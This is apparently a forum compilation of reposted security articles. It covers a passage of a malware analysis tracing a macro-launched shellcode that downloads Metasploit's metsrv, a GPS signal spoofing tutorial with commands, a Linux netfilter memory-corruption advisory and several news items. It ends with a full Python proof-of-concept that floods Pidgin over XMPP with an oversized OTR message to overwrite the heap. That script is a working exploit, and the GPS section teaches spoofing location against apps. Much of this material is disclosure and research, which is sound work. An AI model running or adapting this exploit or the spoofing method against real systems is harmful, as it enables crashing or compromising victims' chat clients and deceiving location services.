address, socket descriptor, and lastly the APIs hash:  Using the sockaddr_in structure definition (remembering to byte-reverse where appropriate), I can identify the call-home IP and port number as [redacted] aaa.bbb.ccc.ddd where xxx=dec(xx), port 0x1bb (443, or the SSL port). As a reminder, here’s a basic picture of stack layout showing how the bytes map out to show the order and thus confirms the correct interpretation of the IP address.  Continuing the dissection, the next API-by-hash is reasoned to be ‘recv’. I already know it is socket related thru EDI, and an essentially undefined buffer is being passed in ESI. The hash value is also referenced later by fragments that only make sense for ‘recv’.  When the ‘recv’ API returns (assuming no error) ESI will point to a 4byte (32bit word, aka dword) value received from the network. The code will then xor the recv'd dword by some 32bit constant. This is likely done to obfuscate and/or avoid null bytes.  The next API is easily recognized by its arguments as ‘VirtualAlloc’, and since the previously xor’ed dword is directly passed to it as the size argument (ECX), it reveals it to be just that – the size of data to receive.  The alloc’d pointer in EAX is nudged by 0x100 and some registers saved. For now, I skip over this and expect the purpose will reveal itself in due time.  Now the already familiar hash for ‘recv’ (0x5FC8D902) makes understanding the next fragment simple - receive from the socket until the required number of bytes have been obtained.  Did that look like SSL? The astute reader will at this point have realized that despite the SSL port being contacted, there is a distinct lack of typical SSL negotiation traffic being sent or expected. Whereas real SSL negotiation should begin with a well-defined ClientHello message, the data actually observed (and expected by the malware) has a different structure. Real SSL traffic has a specific structure that differs from what is observed. A leading dword specifying size followed by ‘size’ bytes of RC4 encrypted data; as derived from the code that manipulates the content of the received buffer. Figure 6 - Redacted TCP reconstruction So what happens with the data? Realizing that the network exchange does not appear to be SSL, I continue analysis to learn how the received data is to be utilized. This must be the code when the exit condition of the recv-loop is met (all expected bytes received) at 0x164. Here we find a CALL to a function a short distance away that is recognizable as RC4. The key is in-lined immediately following the CALL and obtained by the pop into ESI.  That bit of code strongly resembles RC4 but caution! I say “resembles” since minor variations on the theme are difficult to spot, and would fail to decrypt with RC4-proper. I’ve not gone the extra mile to verify however, since 99% of the time it is unnecessary. How did I identify this as (likely) RC4? Easily! RC4 consists of three parts: initialize sbox, permute sbox with a key, and encrypt/decrypt data. More importantly, the sbox is 0x100 bytes, and is initialized with the index stored at each respective location. This also explains the nudge by 0x100 earlier. Application to data capture To decrypt the data-stream I had previously captured, I simply loaded the shellcode into a debugger, grafted the data at some nearby address, fixed up the relevant registers and ran it until the ‘RET’ at +0x1BF. Voila! An “MZ” appears! But wait – where does execution continue? Examining the shellcode leads me to conclude that the address of the buffer (now containing a PE file) is what remains on the stack prior to the ‘RET’… And so resulting in returning execution at the MZ header!? Why sure! The IDA window shows the loader executing “dec ebp ; pop edx” (aka “MZ”) in clever code-data alias. It is this loader stub hidden inside the MZ header that does the ReflectiveLoader call. Figure 7 - Ida view showing the “MZ” header as instructions (0x4d => ‘M’, 0x5a => ‘Z’) It turns out that without too much effort, the first function being called by this stub is ReflectiveLoader, and the module is metsrv.dll of Metasploit fame. Sanity-checking also confirms the modules size matching exactly the payload size. I leave to the reader to confirm the api_by_hash function is as suggested, and perhaps a topic for another day. Conclusion Use of Office auto-action macros made even more successful by a simple ruse was only the first step in this complex chain of events. The malware then obfuscated VBA by invoking Powershell to construct and launch non-obvious self-modifying shellcode. It then masqueraded as an outbound SSH connection to fly below-the-radar in order to download a Metasploit module. Once this agent has been deployed, there is no telling what else it had brought with it! Astute readers may have noticed that deep-packet inspection would probably have caught this non-conforming-ssl-attempt, but I’m sure the next revision will have a fix for that! Sursa: http://community.hpe.com/t5/Security-Research/From-Macro-to-SSL-with-Shellcode-A-Detailed-Deconstruction/ba-p/6839623#.VuE2wfl96Uk

BinExport Copyright 2011-2016 Google Inc. Disclaimer: This is not an official Google product (experimental or otherwise), it is just code that happens to be owned by Google. Introduction BinExport is the exporter component of the BinNavi project. It is a plugin for the commercial IDA Pro disassembler and exports disassemblies into the PostgreSQL database format that BinNavi requires. A previous version (zynamics_binexport_8) also ships with BinDiff, serving a similar purpose. This repository contains the complete source code necessary to build the IDA Pro plugin for Linux, Windows and OS X. Installation Download the binaries from the release page and copy them into the IDA Pro plugins directory. These are the default paths: OS Plugin path Linux /opt/ida-6.9/plugins OS X /Applications/IDA Pro 6.9/idabin/plugins Windows %ProgramFiles(x86)%\IDA 6.9\plugins Note (Windows only): Due to the way the BinExport build works currently, you also have to copy the PostgreSQL client libray and SSL libraries to the IDA installation directory. See The "Build BinExport" section below. Sursa: https://github.com/google/binexport

GPS hacking (PART 1) Author: virustracker Time: February 4, 2016 Category: default Author: Kevin2600 From: http://drops.wooyun.org/tips/11155 0x00 Preface GPS hacking has alway been a hot topic on security conferences over the past few years. But the contents are over academic and the cost for necessary equipment is too high, which stops many fans from getting started. The appearance of some open source projects, such as GPS-SDR-SIM, and the Keynote speech given by @Wang Kang on Blackhat Europe 2015 have pierced the veil of GPS. This means any user who is interested in this topic will truly be able to have a try on GPS hacking. I believe many of you have heard of a powerful tool called Software Defined Radio (SDR) in GPS research. But a new USRP is very expensive, until we found an amazing TV Dongle named RTL-SDR. Some time ago, everyone enjoys using it to watch “adult channels”. In view of its hardware constraints, it can only be used to received data. However, HackRF and BladeRF support both receiving and sending data, besides they are cheaper than USRP. Of course, HackRF and BladeRF support different frequency and sample rate. Therefore, this two become the first choice of radio fans. The most important part about BladeRF is that it is full duplexed. Here is a comparison between several SDR equipment. You may purchase as you need. Brief introduction of GPS system GPS system is very complex and involve many fields from satellite communications. Here is just a brief introduction. The GPS we are talking about is built by U.S. Department of Defense. Currently there are 31 satellites working simultaneously in space. Normally we need at least 4 satellites to complete triangulation positioning. All satellites broadcast both L1 signals for civil use and L2 signals for military use at the same time. What we often use is a 1575.42MHz ultra high frequency which is an unencrypted L1 signals for civil use. GPS signals include 3 kinds of information. Pseudorandom code: a simple ID code used to identify each satellite. Ephemeris data: include information about the time and status of satellites, which plays an important role in calculating the position of each satellite. Almanac data: include information about satellite orbits and the specific position that a satellite will be at in a given time. 0x01 Processes to forge BladeRF GPS signals 1.1 Install a BladeRF tool on Ubuntu 14.04.3 install the header file install BladeRF firmware & FPGA image After installation, you may notice a hostedX40.rbf and a bladerf_fw.img in /usr/share/nuand/BladeRF/. Here you can insert the BladeRF to a USB interface. Normally system will automatically load the FPGA image. Or it can be manually loaded by inputingbladerf_cli -l /path/hostedX40.rbf in command line. When the image is loaded successfully, 3 LED lights on BladeRF board will illuminate, meanwhile, we can add a -p parameter to further verify if system installation is successful. 1.2 Install GPS-SDR-SIM git clone https://github.com/osqzss/gps-sdr-sim.git cd gps-sdr-sim gcc gpssim.c -lm -O3 -o gps-sdr-sim Set up latitude and longitude, then generate a data sample. Note that the I/O baseband signal here is 16. Afterwards, gps-sdr-sim will generate data files with latitude and longitude data in a automatic way. Then we will be able to send the forged GPS data through bladerf_cli. 1.3 Running time issue of GPS-SDR-SIM In practical test, @Wangwang find that GPS simulator can only work continuously for five minutes by default. By viewing its source code, we realized this problem is caused by default settings of the program. The program is designed to use less hard drive space and will only generate 300-second data by default. We could modify its parameter to extend working time. But data of 15 minutes will be up to 5GB. 0x02 Forge GPS signals in practice @Wangwang has shared several practical test cases here. Whoever is interested may have a try. 2.1 Search for girls through Wechat People Nearby I heard that a lot of programmers have little time to hang out with their queen in heart due to working pressure and introvert personality. And Wechat People Nearby perfectly solves this problem for people like that. All you need is to turn on the GPS of your phone, then you’ll have a change to say hello to the girls near by. But the drawback is the maximum range is limited within dozen miles away. For those kings of emotion, the stage is too small. Here @Wangwang presents the first case on forging GPS signals-search girls through Wechat People Nearby. Rumor says a campaign held several days ago in Sanya, Hainan gathered a town of beauties. @Wangwang can’t help but wonder how they look like. Let’s try Wechat people nearby! Before sending the forged GPS coordinate, @Wangwang only got the girls in the same city. Then @Wangwang started to send the forge GPS coordinate. 5 minutes later, the girls in Sanya turned up. LOL…@Wangwang signed a tech geek can change his life. 2.2 Forge Nike+ step counts Many friends who are found of mobile security must have read a post called “using AnDroid Hook to cheat Wechat sports” (http://drops.wooyun.org/tips/8416) written by @Zheng Mi. In this post, he mentioned that he used Android Hook to cheat on step counts so that to beat his friends’ record. But this method needs you to root your phone and install some relevant cheating plugins. For other step counting software, these plugins require to be modified accordingly. Here the test target is Nike+ Running. Let’s see a video first. This video is expedited to save time. http://player.youku.com/player.php/sid/XMTQwMzAxMTk4OA==/v.swf By browsing the home page of GPS-SDR-SIM, we learn that the forged GPS latitude and longitude data can be static or dynamic. To succeed in simulating motion trail, we have to forge dynamic GPS latitude and longitude data, which can be completed by the following parameters. gps-sdr-sim -e brdc3540.14n -u circle.csv -b 16 As you can see, step counting App-Nike+ is fooled through directly forging GPS signals. You’ll be the top scorer even you are in bed. But, of course, @Wangwang wish you could really join in running and enjoy the joy of sports. 2.3 Range test on forge signals From the aforementioned experiments, we know that GPS receiver can accept software simulated signals within a short distance. Then what about the performance of the GPS receiver in a larger scale? How far does effective distance can reach? Of course, it connects with output power, antenna gain and signal interference from nearby signals. So @Wangwang only presents a simple indoor test here. Actual condition prevails. Please watch this video first. http://player.youku.com/player.php/sid/XMTQwMzAwNzMxNg==/v.swf As can be seen from the video, the latitude and longitude of the GPS receiver is successfully changed in a 25-meter long linear corridor without any obstacles. Normally, real GPS signals coming from 20,000 meters high are already weak, and almost no signal is detected indoors. Therefore, indoor GPS signals forging attack can be pretty effective. 0x03 Summaries Based on the above cases, I believe you have more or less learned something about forging GPS signals. But as far as GPS itself, this is a very funny and esoteric area. More GPS related products emerge in market and each will respond different towards GPS deceiving attacks. Everybody can use your imagination and try different tricks. Finally, I’d like to extend my thanks to @osqzss, @Wang Kang and countless GNURadio enthusiasts for their unselfish sharing. It’s because of them that we’ll have chance to experience the charm of software defined radio. I recommend you the home page of GPS-SDR-SIM Project and the presentation given by @Wang Kang on Blackhat. Those who have HackRF equipment can read the post “Hijack GPS positioning & hijack WIFI positioning” by @lxj616. 0x04 References http://drops.wooyun.org/tips/10580 https://github.com/osqzss/gps-sdr-sim https://en.wikipedia.org/wiki/GPS_signals “Time and Position Spoofing with Open Source Projects” Kang Wang http://www.taylorkillian.com/2013/08/sdr-showdown-hackrf-vs-bladerf-vs-usrp.html Sursa: http://en.wooyun.io/2016/02/04/41.html

Linux netfilter IPT_SO_SET_REPLACE memory corruption A memory corruption vulnerability exists in the IPT_SO_SET_REPLACE ioctl in the netfilter code for iptables support. This ioctl is can be triggered by an unprivileged user on PF_INET sockets when unprivileged user namespaces are available (CONFIG_USER_NS=y). Android does not enable this option, but desktop/server distributions and Chrome OS will commonly enable this to allow for containers support or sandboxing. In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it is possible for a user-supplied ipt_entry structure to have a large next_offset field. This field is not bounds checked prior to writing a counter value at the supplied offset: newpos = pos + e->next_offset; ... e = (struct ipt_entry *) (entry0 + newpos); e->counters.pcnt = pos; This means that an out of bounds 32-bit write can occur in a 64kb range from the allocated heap entry, with a controlled offset and a partially controlled write value ("pos") or zero. The attached proof-of-concept (netfilter_setsockopt_v3.c) triggers the corruption multiple times to set adjacent heap structures to zero. This issue affects (at least) kernel versions 3.10, 3.18 and 4.4. It appears that a similar codepath is accessible via arp_tables.c/ARPT_SO_SET_REPLACE as well. Furthermore, a recent refactoring cof this codepath (https://github.com/torvalds/linux/commit/2e4e6a17af35be359cc8f1c924f8f198fbd478cc) introduced an integer overflow in xt_alloc_table_info, which on 32-bit systems can lead to small structure allocation and a copy_from_user based heap corruption. The attached proof-of-concept (netfilter_setsockopt_v4.c) triggers this issue on 4.4. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. netfilter_setsockopt_v3.c 2.0 KB Download netfilter_setsockopt_v4.c 1.3 KB Download Sursa: https://code.google.com/p/google-security-research/issues/detail?id=758

Caution Urged over Patched Windows USB Driver Flaw by Michael Mimoso March 9, 2016 , 2:07 pm USB-related vulnerabilities make people nervous; you need look no further than Stuxnet and BadUSB to see the dangers associated with infected portable storage devices and peripherals. Yesterday, Microsoft patched a flaw in the Windows USB Mass Storage Class Driver that could put some people on edge. Though the flaw was rated “important,” likely because it requires local access to exploit, previous work in this arena shows that such a bug could be attacked remotely. Andy Davis of NCC Group in the U.K. privately disclosed the flaw, CVE-2016-0133, to Microsoft. His recent research includes a focus on USB bugs that are no longer limited to local exploits. For Black Hat Asia 2014, for example, Davis released a paper explaining techniques that could allow an attacker to take advantage of RDP and RemoteFX USB redirection features in Windows. Davis, who could not be reached for comment on yesterday’s patch, said in his paper that organizations should disable RemoteFX on clients and servers, use granular RemoteFX security controls, and pay attention to “local” USB vulnerabilities. The one patched yesterday, Microsoft said, can be used to elevate privileges on a compromised machine by an attacker inserting a malicious USB drive into a vulnerable computer. Microsoft said the driver in question fails to properly validate objects in memory. “An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode,” Microsoft said in its advisory. “An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.” Craig Young, a researcher at Tripwire, said the vulnerability likely could be exploited even on a locked workstation. “Based on the description from Microsoft, insertion of the crafted USB stick would be enough to exploit vulnerable code within the mass storage driver without any further user-interaction,” Young said. “The flaw may exist within code responsible for low-level device access as opposed to higher-level filesystem related activities and these activities should take place regardless of whether there is an interactive logon session at the console.” Stuxnet, which was used to disrupt Iran’s nuclear program in 2009, spread via infected USB drives, primarily to attack air-gapped machines that the attackers could not reach with any of the zero-day exploits at their disposal. Stuxnet exploited a vulnerability in LNK files, which define shortcuts to files or directories; Windows allows them to use custom icons from control panel files (.CPL). In Windows, those icons are loaded from modules, either executables or DLLs; CPLs are DLLs. An attacker is able to then define which executable module would be loaded, and use the .LNK file to execute arbitrary code inside of the Windows shell. “In contrast, the LNK vulnerability exploited by Stuxnet and patched in MS10-046 would require that a victim browse to a malicious folder to trigger code execution,” Young said. Making this vulnerability even more angst-ridden is the kernel access it affords because it’s a driver vulnerability. This gives an attacker a direct path to code execution within the kernel rather than in context of a logged in user, Young said. “Execution within the kernel means that an attacker can hide their tracks, gain persistent access, and dump password hashes or security tokens left on the system,” Young said, who added that based on public information, there may not be any limitations to the payload associated with an exploit of this flaw. “This issue generally presents a large risk in any environment where someone has physical access to a USB port of someone else’s system. For example, I regularly see that medical offices will leave patients in a room with a PC containing private health information and that many retail locations have PCs for sales people to check inventory or prepare sales quotes,” Young said. “At a larger scale, Windows based data centers could also be heavily affected if server racks are not locked to make USB ports inaccessible to employees or anyone else who makes it into the data center.” Sursa: https://threatpost.com/caution-urged-over-patched-windows-usb-driver-flaw/116683/

Microsoft has released a Debian Linux switch OS. Repeat, a Debian Linux switch operating system Open-source toolkit for wrangling networks 9 Mar 2016 at 18:00, Chris Williams OCP Summit Put down your coffee gently. Microsoft has today released a homegrown open-source operating system, based on Debian GNU/Linux, that runs on network switches. The software is dubbed SONiC, aka Software for Open Networking in the Cloud. It's a toolkit of code and kernel patches to bend switch hardware to your will, so you can dictate how it works and what it can do, rather than relying on proprietary firmware from a traditional networking vendor. It also pits Redmond against white-box network operating systems from the likes of HP, Dell, and Cumulus Networks. SONiC builds upon the Windows giant's Linux-based Azure Cloud Switch (ACS) operating system that we learned about in September. ACS is the brains of switches in Microsoft's Azure cloud: the code can run on all sorts of hardware from different equipment makers, and uses a common C API – the Switch Abstraction Interface (SAI) – to program the specialist chips in the networking gear. This means ACS can control and manage network devices and implement features as required regardless of who made the underlying electronics. This underlying hardware must therefore implement the SAI, an API that Microsoft contributed to theOpen Compute Project (OCP) in 2015. The OCP, launched by Facebook in 2011, encourages hardware manufacturers to produce generic gear to the project's open standards and specifications so large organizations can buy the machines cheaply in bulk and use software to customize and control the gear as they wish. Redmond – backed by Arista, Broadcom, Dell and Mellanox – now hopes to contribute ACS's sibling SONiC to the OCP so organizations can pick and choose their switch hardware and shape their networks as needed using Redmond's software. "SONiC is a collection of software networking components required to build network devices like switches," said Azure CTO Mark Russinovich, who will give a keynote at the OCP Summit in San Jose, California, in the next few minutes. "Together with SAI, SONiC will enable cloud operators to take advantage of hardware innovation, while giving them a framework to build upon open source code for applications on the network switch. "We believe it’s the final piece of the puzzle in delivering a fully open sourced switch platform that can share the same software stack across hardware from multiple switch vendors." SONiC is available for download now from Microsoft's Azure GitHub repo under a mix of open-source licenses including the GNU GPL and the Apache license. Today's news follows Microsoft's other bombshell this week: a port of SQL Server for Linux, due out in 2017. This is all extremely surprising given the Windows giant was hell bent on destroying Linux until very recently. Now, according to Russinovich, more than 25 per cent of virtual machines running on Azure are Linux-powered, up from 20 per cent six months ago. Redmond fans insist their favorite IT giant has turned a new leaf, that it no longer likens open-source to cancer and communism, and that it now truly loves Linux. Those of us who found themselves on the business end of Microsoft in the 1990s will be thinking of the old words from a nearly forgotten age. Embrace. Extend... ® Updated to add Russinovich has blogged about SONiC here. Meanwhile, Microsoft has said it "has no plans to sell SONiC to customers or provide any network engineering or development support." It also stressed that "SONiC is a collection of networking software components required to have a fully functional L3 device that can be agnostic of any particular Linux distribution. Today SONiC runs on Debian." Sursa: http://www.theregister.co.uk/2016/03/09/microsoft_sonic_debian/

The perils of Java deserialization alvaro_munoz on ‎03-04-2016 12:43 PM Java provides a mechanism called object serialization, which allows an object to be represented as a sequence of bytes that includes the object's data as well as information about the object's type and the types of data stored in the object. The sequence of bytes can be used to deserialize the object graph by using the type information and bytes that represent the object and its data to recreate the object in memory. Java serialization is used by applications for multiple purposes; furthermore, Java serialization is not only used explicitly in application code. It is also used behind the scenes in many known and popular protocols. Security issues with Java deserialization have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collections). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic, and other products, and the details were disclosed publically with no previous notification to vendors. The security community focused on exploring these issues, and as a result mitigation advice was published describing various ways to protect against this kind of attack. Understanding where and why Java serialization is used in your applications, libraries, and frameworks will greatly help you to design an architecture to prevent this kind of attack. While it is possible (although not always easy) to protect the cases in which Java serialization is explicitly used in your application code, the cases in which it is used by frameworks and libraries may require additional security controls, as we document in this paper. In our paper, we review the basics of the Java deserialization process and explain how and why it becomes vulnerable. We will show how different Java classes – referred to as gadgets throughout the paper – can be abused by attackers during the deserialization process to compromise or attack applications and servers. We explain how attackers can leverage these gadget classes for their own purposes. We examine several remote code execution gadgets to show how these attacks chain multiple pieces of code to craft the malicious payload. We review available mitigation advice and present a new technique to bypass some of the recommended protections. Finally, we conclude by reviewing how the problem affects similar libraries, and wrap up by offering our own mitigation strategies to more effectively protect against this problem. Paper: HPE-SR whitepaper java deserialization RSA2016.pdf ‏2580 KB Sursa: http://community.hpe.com/t5/Security-Research/The-perils-of-Java-deserialization/ba-p/6838995#.VuE1pfl96Ul

Qubes OS 3.1 has been released! Mar 9, 2016 by Joanna Rutkowska in Announcements I’m happy to announce that today we’re releasing Qubes OS 3.1! The major new architectural feature of this release has been the introduction of the Qubes Management infrastructure, which is based on the popular Salt management software. In Qubes 3.1, this management stack makes it possible to conveniently control system-wide Qubes configuration using centralized, declarative statements. Declarative is the key word here: it makes creating advanced configurations significantly simpler. (The user or administrator needs only to specify what they want to get, rather than how they want to get it). This has already allowed us to improve our installation wizard (firstboot) so that it now offers the user the ability to easily select from various options to pre-create some useful configurations, such as Whonix or USB-hosting VMs. Currently, the management stack is limited to dom0 and system-wide Qubes configuration (i.e. what VMs should be present, with what properties, how connected), and notably missing is the ability to configure/manage states inside the VMs or templates (e.g. what packages are to be installed, or what additional services are to be enabled in the VMs). I think most readers will understand very well that marrying powerful and flexible, yet very complex, management software such as Salt, with a security-focused system like Qubes OS is an extremely sensitive task. This is because we really would not like to negate all the isolation we have previously worked hard to build, obviously. Yet, we have recently come up with – what we believe is – an elegant way to also extend our management stack to cover VMs’ internal states. In fact, we already have working code for this and plan on introducing this feature officially in the upcoming Qubes 4.0 release candidate. We might also decide to bring it to the 3.1 release (as an optional update), in case we can’t release 4.0-rc1 soon enough. Once we introduce this missing piece of the Qubes management infrastructure, we will gain almost limitless possibilities for shaping Qubes configurations to fit particular user groups’ needs and for delivering them easily. Besides the management stack, there have been a number of other improvements and bugfixes introduced in 3.1 compared to Qubes 3.0, and most of these have already been mentioned in the original 3.1-rc1 announcement post. To name here just two which might be of critical importance to some users (as they significantly improve hardware compatibility): Qubes 3.1 now supports UEFI-based boot, as well as many new GPUs, thanks to the updated drivers and kernel in Dom0. The ISO can be downloaded here. As usual, we encourage people to verify the integrity of the downloaded images as explained here. Existing users of the 3.0 and 3.1-rcX releases should be able to easily upgrade without re-installing. Enjoy! Sursa: https://www.qubes-os.org/news/2016/03/09/qubes-os-3-1-has-been-released/

PoC libotr heap overwrite on Pidgin #!/usr/bin/python -u # ### PoC libotr heap overwrite on Pidgin ### 2016-02-17 Markus Vervier ### X41 D-Sec GmbH ### initial code taken from pyxmpp examples (echobot.py) ### PoC was tested using a standard Prosody XMPP-Server on Arch-Linux allowing 20MB sized messages by default (and even larger) ### On a loopback interface the exploit took several minutes, ### using XMPP stream compression this could be reduced massively ### pyxmpp does not support it ### We used XMPP connections without TLS to not further complicate the setup ### USAGE ### ### Prerequisite: 2 Jabber Accounts (attacker, victim), set Ressource of attacker to "attacktest" ### 1. Initiate an encrypted session from attacker-account to victim-account (e.g. using pidgin) ### 2. Disconnect the attacker account ### 3. Fire up this script and let it connect with the attacker account credentials ### 4. Send a message from victim to attacker ### 5. Wait until message sending is complete, pidgin should crash ### !!! Steps 2-5 (and especially user interaction) are only necessary for this PoC ### !!! If we would implement full OTR in this script we could send the bad message directly ### !!! For easier PoC we now wait until an encrypted message is received to get the correct instance tags import sys import logging import locale import codecs import os, signal import time import base64 def ignore_signal_pipe(signum, frame): print 'signal pipe caught -- IGNORING' signal.signal(signal.SIGPIPE, ignore_signal_pipe) from struct import * from pyxmpp.all import JID,Iq,Presence,Message,StreamError from pyxmpp.jabber.client import JabberClient from pyxmpp.interface import implements from pyxmpp.interfaces import * from pyxmpp.streamtls import TLSSettings from enum import Enum class EchoHandler(object): """Provides the actual 'echo' functionality. Handlers for presence and message stanzas are implemented here. """ implements(IMessageHandlersProvider, IPresenceHandlersProvider) def __init__(self, client): """Just remember who created this.""" self.client = client def get_message_handlers(self): """Return list of (message_type, message_handler) tuples. The handlers returned will be called when matching message is received in a client session.""" return [ ("normal", self.message), ] def get_presence_handlers(self): """Return list of (presence_type, presence_handler) tuples. The handlers returned will be called when matching presence stanza is received in a client session.""" return [ (None, self.presence), ("unavailable", self.presence), ("subscribe", self.presence_control), ("subscribed", self.presence_control), ("unsubscribe", self.presence_control), ("unsubscribed", self.presence_control), ] def message(self,stanza): """Message handler for the component. Echoes the message back if its type is not 'error' or 'headline', also sets own presence status to the message body. Please note that all message types but 'error' will be passed to the handler for 'normal' message unless some dedicated handler process them. :returns: `True` to indicate, that the stanza should not be processed any further.""" subject=stanza.get_subject() body=stanza.get_body() t=stanza.get_type() m = 0 print u'Message from %s received.' % (unicode(stanza.get_from(),)), if subject: print u'Subject: "%s".' % (subject,), if body: print u'Body: "%s".' % (body,), if t: print u'Type: "%s".' % (t,) else: print u'Type: "normal".' if stanza.get_type()=="headline": # 'headline' messages should never be replied to return True # record instance tag if body[:9] == u'?OTR:AAMD': (self.instance_tag, self.our_tag) = self.parse_aamc(body[len("?OTR:AAMD"):]) print "parsed instance tag: %s and our tag %s" % (self.instance_tag.encode("hex"), self.our_tag.encode("hex") ) self.send_insane_otr(stanza, 1024*1024*20, self.instance_tag, self.our_tag) return m def b64maxlen(self, chars): return 1 + (4 * chars / 3) def parse_aamc(self, msg): maxlen = self.b64maxlen(8) # 4 byte integer print "maxlen %u" % (maxlen) tmp = msg[0:maxlen] padding = "" if maxlen % 4 > 1: padding = "="*(4-(maxlen % 4)) tmp += padding print "decoding: "+tmp packed = base64.b64decode(tmp) # return unpack("I", packed[0:4]) return (packed[0:4], packed[4:8]) # their tag, our tag def initial_body(self, instance_tag, our_tag): ret = "?OTR:AAMD"; raw = b'' print "packing initial block with instance tag: %s and our tag: %s" % (instance_tag.encode("hex"), our_tag.encode("hex")) #dirty hack raw += our_tag # sender_nstance_id raw += instance_tag # receiver_id raw += "D" # dummy flags raw += pack("I", 0x1) # sender key id raw += pack("I", 0x2) # recipient key id raw += pack("!I", 10) # len next_y raw += "B"*10 # next_y # we don't know how mpi works but it seems ok ;) raw += "12345678" # reveal sig dummy # yeah overflow! raw += pack("I", 0xFFFFFFFF); # datalen ret += base64.b64encode(raw+"A"*(57-len(raw))) return ret def send_insane_otr(self, stanza, frag_size, instance_tag, our_tag): print "G-FUNK!" # this should result in about 0xFFFFFFFF times "A" base64 encoded len_msg = 5726623060 # fix frag size for base64 frag_size = (frag_size / 4) * 4 frag_msg = "QUFB"*(frag_size / 4) n = len_msg / frag_size # does not evenly divide? if len_msg % frag_size > 0: n += 1 k = 1 n += 1 # initialbody adds another frame initialbody = "?OTR,%hu,%hu,%s," % (k , n , self.initial_body(instance_tag, our_tag)) print "first fragment: "+initialbody m = Message( to_jid=stanza.get_from(), from_jid=stanza.get_to(), stanza_type=stanza.get_type(), subject="foo", body=initialbody) self.client.stream.send(m) k += 1 print "frag size: %s, len_msg: %u, num_frags: %u" % (frag_size, len_msg, n) cur_pos = 0 while(cur_pos < len_msg): body = "?OTR,%hu,%hu,%s," % (k , n , frag_msg) m = Message( to_jid=stanza.get_from(), from_jid=stanza.get_to(), stanza_type=stanza.get_type(), subject="foo", body=body) print "cur_pos %u of %u" % (cur_pos, len_msg) self.client.stream.send(m) k += 1 cur_pos = frag_size * (k-2) time.sleep(0.9) print "FINAL FRAG: cur_pos %u of %u" % (cur_pos, len_msg) def presence(self,stanza): """Handle 'available' (without 'type') and 'unavailable' <presence/>.""" msg=u"%s has become " % (stanza.get_from()) t=stanza.get_type() if t=="unavailable": msg+=u"unavailable" else: msg+=u"available" show=stanza.get_show() if show: msg+=u"(%s)" % (show,) status=stanza.get_status() if status: msg+=u": "+status print msg def presence_control(self,stanza): """Handle subscription control <presence/> stanzas -- acknowledge them.""" msg=unicode(stanza.get_from()) t=stanza.get_type() if t=="subscribe": msg+=u" has requested presence subscription." elif t=="subscribed": msg+=u" has accepted our presence subscription request." elif t=="unsubscribe": msg+=u" has canceled his subscription of our." elif t=="unsubscribed": msg+=u" has canceled our subscription of his presence." print msg return stanza.make_accept_response() class VersionHandler(object): """Provides handler for a version query. This class will answer version query and announce 'jabber:iq:version' namespace in the client's disco#info results.""" implements(IIqHandlersProvider, IFeaturesProvider) def __init__(self, client): """Just remember who created this.""" self.client = client def get_features(self): """Return namespace which should the client include in its reply to a disco#info query.""" return ["jabber:iq:version"] def get_iq_get_handlers(self): """Return list of tuples (element_name, namespace, handler) describing handlers of <iq type='get'/> stanzas""" return [ ("query", "jabber:iq:version", self.get_version), ] def get_iq_set_handlers(self): """Return empty list, as this class provides no <iq type='set'/> stanza handler.""" return [] def get_version(self,iq): """Handler for jabber:iq:version queries. jabber:iq:version queries are not supported directly by PyXMPP, so the XML node is accessed directly through the libxml2 API. This should be used very carefully!""" iq=iq.make_result_response() q=iq.new_query("jabber:iq:version") q.newTextChild(q.ns(),"name","Echo component") q.newTextChild(q.ns(),"version","1.0") return iq class Client(JabberClient): """Simple bot (client) example. Uses `pyxmpp.jabber.client.JabberClient` class as base. That class provides basic stream setup (including authentication) and Service Discovery server. It also does server address and port discovery based on the JID provided.""" def __init__(self, jid, password, tls_cacerts): # if bare JID is provided add a resource -- it is required if not jid.resource: jid=JID(jid.node, jid.domain, "attacktest") if tls_cacerts: if tls_cacerts == 'tls_noverify': tls_settings = TLSSettings(require = True, verify_peer = False) else: tls_settings = TLSSettings(require = True, cacert_file = tls_cacerts) else: tls_settings = None # setup client with provided connection information # and identity data JabberClient.__init__(self, jid, password, disco_name="PyXMPP example: echo bot", disco_type="bot", tls_settings = tls_settings) # add the separate components self.interface_providers = [ VersionHandler(self), EchoHandler(self), ] def stream_state_changed(self,state,arg): """This one is called when the state of stream connecting the component to a server changes. This will usually be used to let the user know what is going on.""" print "*** State changed: %s %r ***" % (state,arg) def print_roster_item(self,item): if item.name: name=item.name else: name=u"" print (u'%s "%s" subscription=%s groups=%s' % (unicode(item.jid), name, item.subscription, u",".join(item.groups)) ) def roster_updated(self,item=None): if not item: print u"My roster:" for item in self.roster.get_items(): self.print_roster_item(item) return print u"Roster item updated:" self.print_roster_item(item) # XMPP protocol is Unicode-based to properly display data received # _must_ convert it to local encoding or UnicodeException may be raised locale.setlocale(locale.LC_CTYPE, "") encoding = locale.getlocale()[1] if not encoding: encoding = "us-ascii" sys.stdout = codecs.getwriter(encoding)(sys.stdout, errors = "replace") sys.stderr = codecs.getwriter(encoding)(sys.stderr, errors = "replace") # PyXMPP uses `logging` module for its debug output # applications should set it up as needed logger = logging.getLogger() logger.addHandler(logging.StreamHandler()) logger.setLevel(logging.INFO) # change to DEBUG for higher verbosity if len(sys.argv) < 3: print u"Usage:" print "\t%s JID password ['tls_noverify'|cacert_file]" % (sys.argv[0],) print "example:" print "\t%s test@localhost verysecret" % (sys.argv[0],) sys.exit(1) print u"creating client..." c=Client(JID(sys.argv[1]), sys.argv[2], sys.argv[3] if len(sys.argv) > 3 else None) print u"connecting..." c.connect() print u"looping..." try: # Component class provides basic "main loop" for the applitation # Though, most applications would need to have their own loop and call # component.stream.loop_iter() from it whenever an event on # component.stream.fileno() occurs. c.loop(1) except IOError, e: if e.errno == errno.EPIPE: # IGNORE EPIPE error print "PIPE ERROR -- IGNORING" else: pass except KeyboardInterrupt: print u"disconnecting..." c.disconnect() print u"exiting..." # vi: sts=4 et sw=4 Sursa: https://raw.githubusercontent.com/x41sec/advisories/master/X41-2016-001/otr-heap-overflow-poc.py